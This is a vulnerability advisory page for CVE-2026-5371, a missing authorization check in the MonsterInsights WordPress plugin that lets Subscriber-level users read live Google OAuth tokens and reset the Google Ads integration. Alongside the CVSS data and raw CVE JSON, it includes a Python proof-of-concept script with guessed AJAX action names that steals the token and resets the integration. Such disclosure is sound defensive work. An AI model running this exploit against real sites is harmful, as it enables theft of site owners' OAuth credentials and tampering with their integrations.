Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-5371 CVSS 7.1 HIGH

CVE-2026-5371

Published: 2026-05-12 23:16:19
Last Modified: 2026-05-12 23:16:19

Description

The MonsterInsights – Google Analytics Dashboard for WordPress (Website Stats Made Easy) plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability checks on the get_ads_access_token() and reset_experience() functions in all versions up to, and including, 10.1.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve live Google OAuth access tokens and reset Plugins's Google Ads integration.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MonsterInsights <= 10.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Cookie from a low-privileged authenticated user (Subscriber) attacker_cookies = { "wordpress_logged_in_12345": "subscriber_session_token_here" } # Payload to retrieve Google OAuth Access Token # Action name is inferred from the function name get_ads_access_token payload_steal_token = { "action": "monsterinsights_get_ads_access_token" } # Payload to reset Google Ads integration # Action name is inferred from the function name reset_experience payload_reset_integration = { "action": "monsterinsights_reset_experience" } try: # Exploit 1: Leak the OAuth token response = requests.post(target_url, data=payload_steal_token, cookies=attacker_cookies) if response.status_code == 200: print("[+] Successfully retrieved OAuth Token:") print(response.text) else: print("[-] Failed to retrieve token.") # Exploit 2: Reset the integration reset_resp = requests.post(target_url, data=payload_reset_integration, cookies=attacker_cookies) if reset_resp.status_code == 200: print("[+] Successfully reset Google Ads integration.") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5371", "sourceIdentifier": "[email protected]", "published": "2026-05-12T23:16:18.880", "lastModified": "2026-05-12T23:16:18.880", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MonsterInsights – Google Analytics Dashboard for WordPress (Website Stats Made Easy) plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability checks on the get_ads_access_token() and reset_experience() functions in all versions up to, and including, 10.1.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve live Google OAuth access tokens and reset Plugins's Google Ads integration."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/google-analytics-for-wordpress/tags/10.0.3/includes/admin/admin-assets.php#L205", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/google-analytics-for-wordpress/tags/10.0.3/includes/ppc/google/class-monsterinsights-google-ads.php#L167", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/google-analytics-for-wordpress/tags/10.0.3/includes/ppc/google/class-monsterinsights-google-ads.php#L243", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5d380b66-675e-451d-a7e3-4efe1fbd08b2?source=cve", "source": "[email protected]"}]}}